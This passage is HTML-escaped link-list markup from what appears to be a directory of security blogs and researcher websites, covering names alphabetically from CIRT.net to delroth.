  &lt;li&gt;&lt;a href=&quot;https://cirt.net&quot;&gt;CIRT.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.ciso.pm&quot;&gt;CISO.PM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://clairelevin.github.io&quot;&gt;Claire Levin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://claytonerrington.com/blog/&quot;&gt;Clayton Errington&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://netadr.github.io&quot;&gt;clayton’s site&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://clearbluejar.github.io&quot;&gt;clearbluejar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://clement-briens.com&quot;&gt;Clement Briens&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://clement.notin.org&quot;&gt;Clément Notin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://daeken.svbtle.com&quot;&gt;Clever Title Goes Here&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.clinicallyawesome.com&quot;&gt;Clinically Awesome&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://talks.container-security.site&quot;&gt;Cloud Native Security Talks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloudbrothers.info&quot;&gt;Cloudbrothers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zoph.me/posts/&quot;&gt;Cloudy Minds&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cnblogs.com&quot;&gt;cnblogs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://co0nan.gitbook.io/writeups/&quot;&gt;Co0nan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cocomelonc.github.io&quot;&gt;cocomelonc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paranoidmoth.github.io&quot;&gt;Cocoon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://codahale.com&quot;&gt;Coda Hale&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://code-white.com/blog/&quot;&gt;Code White&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://outflux.net/blog/archives/category/security/&quot;&gt;codeblog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://codecolor.ist&quot;&gt;CodeColorist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://codeinsecurity.wordpress.com&quot;&gt;CODEINSECURITY&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://codemuch.tech/archive/&quot;&gt;codemuch.tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://coderoasis.com/tag/cybersecurity/&quot;&gt;CoderOasis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://codydostal.com&quot;&gt;Cody Dostal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.coengoedegebure.com&quot;&gt;Coen Goedegebure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.collierjam.com&quot;&gt;Collier Jam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://th3protocol.com&quot;&gt;Colins Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://colton1skees.github.io&quot;&gt;colton1skees&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rtcsec.com/post/&quot;&gt;Communication Breakdown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sidb.in/posts/&quot;&gt;Computer Insecurities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://computer.rip&quot;&gt;Computers Are Bad&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://comsec.ethz.ch/research/&quot;&gt;COMSEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.xenoscr.net&quot;&gt;Conor Richard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://connormcgarr.github.io&quot;&gt;Connor McGarr&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.polybdenum.com&quot;&gt;Considerations on Codecrafting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://console-cowboys.blogspot.com&quot;&gt;Console Cowboys&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.container-security.site&quot;&gt;Container Security Site&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://antonio-cooler.gitbook.io/coolervoid-tavern/&quot;&gt;CoolerVoid tavern&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://corben.io/blog&quot;&gt;Corben Leo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hexgolems.com&quot;&gt;Cornelius Aschermann&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cornerpirate.com&quot;&gt;CornerPirate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://me.costaskou.com/articles/&quot;&gt;costaskou&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://countuponsecurity.com&quot;&gt;Count Upon Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://counterintelligence.pl/en/&quot;&gt;counterintellligence.pl&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://courk.cc&quot;&gt;Courk’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.covert.io&quot;&gt;covert.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cqcore.uk/blog-posts/&quot;&gt;CQCore&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.cr.yp.to&quot;&gt;The cr.yp.to blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cr0.org&quot;&gt;cr0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cra0.net/blog/posts/&quot;&gt;Cra0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cradersecurity.com&quot;&gt;Crader Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://candrews.integralblue.com&quot;&gt;Craig Andrews&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://craighays.com/articles/&quot;&gt;Craig Hays&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cramhacks.com&quot;&gt;CramHacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crankysec.com&quot;&gt;CrankySec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.crashoverride.com&quot;&gt;Crash Override&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://notes.crashsecurity.io/notes&quot;&gt;Crash Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crnkovic.dev&quot;&gt;crnković&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cronop-io.github.io/posts/&quot;&gt;Cronop.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecuritycrumbs.cryptopathe.me&quot;&gt;Crumbs of Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crypt0ace.github.io&quot;&gt;Crypt0ace&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crypt0g30rgy.github.io&quot;&gt;crypt0g30rgy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gotchas.salusa.dev&quot;&gt;CryptoGotchas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cryptograph3r.blogspot.com&quot;&gt;Cryptograph3r&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cryptohack.org&quot;&gt;Cryptohack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cryptolek.info&quot;&gt;CryptoLek&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cryptologie.net&quot;&gt;Cryptologie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cryptrz.github.io&quot;&gt;cryptrz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cihansol.com&quot;&gt;CS Dev Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://csandker.io&quot;&gt;csandker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cshark.dev&quot;&gt;Cshark.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://csirt-cti.net/category/blog/&quot;&gt;CSIRT CTI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ctfiot.com/blog&quot;&gt;ctfiot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cti.monster/blog.html&quot;&gt;cti.monster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ctrl.red/posts/&quot;&gt;ctrl.red&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cturt.github.io/articles.html&quot;&gt;CTurt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cube0x0.github.io&quot;&gt;cube0x0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cr.culbertreport.com&quot;&gt;Culbert Report&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cupc4k3.lol&quot;&gt;cupc4k3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.curatedintel.org&quot;&gt;Curated Intelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jerichoattrition.wordpress.com&quot;&gt;Curmudgeonly Ways&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cutekernel.com&quot;&gt;CuteKernel Space&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cutesmilee.github.io&quot;&gt;cutesmilee’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cxiao.net/posts/&quot;&gt;cxiao.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://cyanpencil.xyz/blog/posts/&quot;&gt;cyanpencil’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyb3rsecurity.tips&quot;&gt;Cyb3rSecurity Tips&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.unh4ck.com&quot;&gt;CYB3RSN0RLAX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cyber5w.com&quot;&gt;Cyber 5W&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberandramen.net&quot;&gt;Cyber and Ramen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberarmybd.com&quot;&gt;Cyber Army&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybdetective.com&quot;&gt;Cyber Detective&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberexperience.io&quot;&gt;Cyber Experience Input|Output&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybergeeks.tech&quot;&gt;Cyber Geeks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybergladius.com&quot;&gt;Cyber Gladius&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyber-judo.com&quot;&gt;Cyber Judo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nellbag.github.io&quot;&gt;Cyber Sec Nelly&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecuritycrumbs.cryptopathe.me&quot;&gt;Cyber Security Crumbs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecurity-why-for-me.blogspot.com/&quot;&gt;Cyber Security (Why For Me?)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.knowcybersec.today&quot;&gt;Cyber Security Universe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybersekler.com&quot;&gt;Cyber Sekler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersins.com/categories/security/&quot;&gt;Cyber Sins&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.thecyberunion.com/blogs&quot;&gt;The Cyber Union&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberwriter.blog&quot;&gt;The Cyber Writer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyber.wtf&quot;&gt;cyber.wtf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cr0mll.github.io/cyberclopaedia/&quot;&gt;The Cyberclopaedia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybercrimediaries.com&quot;&gt;Cybercrime Diaries&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybercrimeinfocenter.org/blog&quot;&gt;Cybercrime Information Center&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://garwarner.blogspot.com&quot;&gt;CyberCrime &amp;amp; Doing Time&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberdefnerd.com/blog/&quot;&gt;CYBERDEFNERD&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberdom.blog&quot;&gt;Cyberdom&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://skr1x.github.io&quot;&gt;Cyberdough&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cyberethical.me&quot;&gt;CyberEthical.Me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyber-forensics.blog/about/&quot;&gt;CyberForensics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberfront.me&quot;&gt;CyberFront&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybergibbons.com&quot;&gt;Cybergibbons&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cyberick.com&quot;&gt;Cyberick&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberkach.com&quot;&gt;CyberKACH&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybernotdienst.de&quot;&gt;Cybernotdienst&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jaiminton.com&quot;&gt;CyberRaiju&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecpolitics.blogspot.com/&quot;&gt;CyberSecPolitics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyber-sec-4-all.com&quot;&gt;Cybersecurity For All&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberlibrarian.ca&quot;&gt;The Cybersecurity Librarian&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cswrld.com&quot;&gt;Cybersecurity World&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cybershenanigans.space&quot;&gt;Cybershenanigans&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersim.ch&quot;&gt;cybersim&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersmash.github.io&quot;&gt;CyberSmash&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersochacklabproject.blogspot.com&quot;&gt;Cybersoc Digital Marketing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberspark.nl/posts/&quot;&gt;Cyberspark&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberstoph.org/posts/&quot;&gt;cyberstoph&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.kybervandals.com&quot;&gt;Cybervandals&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cyberwhatnow.com&quot;&gt;cyberwhatnow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xcybery.github.io/blog/&quot;&gt;CyberY&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cyberzombi3.co.uk&quot;&gt;CyberZombi3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybherdiaries.com/blog&quot;&gt;Cybher Diaries&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybristerboy.blogspot.com&quot;&gt;CybristerBoy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cygnetix.github.io&quot;&gt;cygnetix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cyphur.com&quot;&gt;Cyphur Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kuenzi.dev&quot;&gt;Cyrill Künzi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://d01a.github.io&quot;&gt;d01a&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.d204n6.com&quot;&gt;D20 Forensics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://d3lb3.github.io&quot;&gt;d3lb3_&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://d4-project.org/blog.html&quot;&gt;D4 project&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://revers.engineering&quot;&gt;Daax Rynd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://daddycocoaman.dev&quot;&gt;daddycocoaman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.daehee.com&quot;&gt;Daehee Park&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://daeken.svbtle.com&quot;&gt;daeken&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.daemonology.net/blog/&quot;&gt;Daemonic Dispatches&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dak.lol&quot;&gt;Dak.lol&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://damiri.fr/en/blog&quot;&gt;Damiri&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bugnotfound.com&quot;&gt;Dan Clemente&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dan.glass&quot;&gt;Dan Glass&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mcnulty.blog&quot;&gt;Dan McNulty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danrevah.github.io&quot;&gt;Dan Revah&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://disman.tl/posts/&quot;&gt;Dan Staples&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danaepp.com&quot;&gt;Dana Epp’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ddanchev.blogspot.com&quot;&gt;Dancho Danchev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dangerouspayload.com&quot;&gt;Dangerous Payload&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dragon863.github.io/blog.html&quot;&gt;Daniel B&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danielchateau.com&quot;&gt;Daniel Chateau&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danielchronlund.com&quot;&gt;Daniel Chronlund Cloud Tech Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://daniels-it-blog.blogspot.com&quot;&gt;Daniel Gebert&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gorbe.io/blog/&quot;&gt;Daniel Gorbe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dagrz.com/writing/&quot;&gt;Daniel Grzelak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.danielmakelley.com&quot;&gt;Daniel Kelley&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danielkliewer.com/daniel-kliewer/blog/&quot;&gt;Daniel Kliewer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dan1t0.com/&quot;&gt;Dani Martinez&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mayer.cool/writings/&quot;&gt;Daniel Mayer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://moghimi.org/blog/&quot;&gt;Daniel Moghimi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danielplohmann.github.io&quot;&gt;Daniel Plohmann&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://daniel.haxx.se/blog/&quot;&gt;Daniel Stenberg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.long.lat&quot;&gt;Daniel Thatcher&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://francozappa.github.io&quot;&gt;Daniele Antonioli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://daniele.bearblog.dev/blog/&quot;&gt;Daniele’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mdanilor.github.io/posts/&quot;&gt;Danilo Rodrigues&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danisy-eisyraf-portfolio.super.site&quot;&gt;Danisy Eisyraf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dannyquist.github.io&quot;&gt;Danny Quist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danq.me/blog/&quot;&gt;DANQ&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://darklordofthenist.com&quot;&gt;Dark Lord of the NIST&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://darksymphonie.wixsite.com/darksym/blog&quot;&gt;Dark Symphonie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.darknavy.org/blog/&quot;&gt;Darknavy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://darkwebdaily.live/#news&quot;&gt;DarkwebDaily.Live&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://darrenmartyn.ie/blog/&quot;&gt;Darren Martyn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://darrynbrownfield.co.uk&quot;&gt;Darryn Brownfield&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://darvincitech.wordpress.com&quot;&gt;Darvin’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.databreaches.net&quot;&gt;DataBreaches.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://datalocaltmp.github.io&quot;&gt;datalocaltmp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.dataparty.xyz&quot;&gt;Dataparty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://datawok.net&quot;&gt;Datawok&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://datorlibertatis.io&quot;&gt;Dator Liberatitis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0dave.ch/posts/&quot;&gt;Dave&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dwaterson.com&quot;&gt;Dave Waterson on Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.da.vidbuchanan.co.uk/blog/&quot;&gt;David Buchanan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nechudav.blogspot.com&quot;&gt;David Nechuta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bugs.xdavidhu.me&quot;&gt;David Schutz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.davidsopas.com&quot;&gt;David Sopas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://davidwesterfield.net&quot;&gt;David Westerfield&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dawidpotocki.com/en/&quot;&gt;Dawid Potocki&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dawnslab.jd.com&quot;&gt;Dawns Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dayzerosec.com/blog/&quot;&gt;DAY0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dazzyddos.github.io&quot;&gt;Dazzy Ddos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://de-engineer.github.io&quot;&gt;de engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.deadf00d.com&quot;&gt;deadf00d&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://deathbytape.com&quot;&gt;DeathByTape&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.debasish.in&quot;&gt;Debasish Mandal’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://debugagent.com&quot;&gt;debugagent&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sophieboyle.github.io&quot;&gt;Decaff Hacking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.decalage.info&quot;&gt;Decalage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://decidedlygray.com&quot;&gt;decidedlygray&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dec0ne.github.io/research/&quot;&gt;Dec0ne Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://decoder.cloud&quot;&gt;Decoder’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.deeb.ch&quot;&gt;deeb blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.deepsec.net&quot;&gt;Deepsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dejandayoff.com&quot;&gt;Dejan Zelic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://delroth.net&quot;&gt;delroth&lt;/a&gt;&lt;/li&gt;
